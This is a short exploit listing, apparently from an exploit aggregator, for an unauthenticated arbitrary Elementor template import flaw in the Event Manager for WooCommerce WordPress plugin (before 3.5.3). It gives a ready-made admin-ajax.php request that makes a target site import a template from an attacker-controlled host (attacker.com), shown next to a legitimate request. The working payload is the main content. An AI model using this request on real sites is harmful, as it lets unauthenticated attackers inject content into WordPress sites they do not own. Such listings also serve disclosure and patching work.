Exploit for Event Manager for WooCommerce < 3.5.3 - Unauthenticated Arbitrary Elementor Template Import

Name: Exploit for Event Manager for WooCommerce < 3.5.3 - Unauthenticated Arbitrary Elementor Template Import
Rating: 5 (85 reviews)

2021-11-03 | CVSS 7.2

## https://sploitus.com/exploit?id=WPEX-ID:85387986-5479-4575-8740-DFF59866F9C6
Legit template: https://example.com/wp-admin/admin-ajax.php?action=mep_import_ajax_template&file=https%3A%2F%2Fvaincode.com%2Fupdate%2Ftemplate%2Fjson%2Fpadma.json&editor=elm&name=Elementor+Template+-+Padma

Attacker one: https://example.com/wp-admin/admin-ajax.php?action=mep_import_ajax_template&editor=elm&name=attacker&file=https://attacker.com/template.json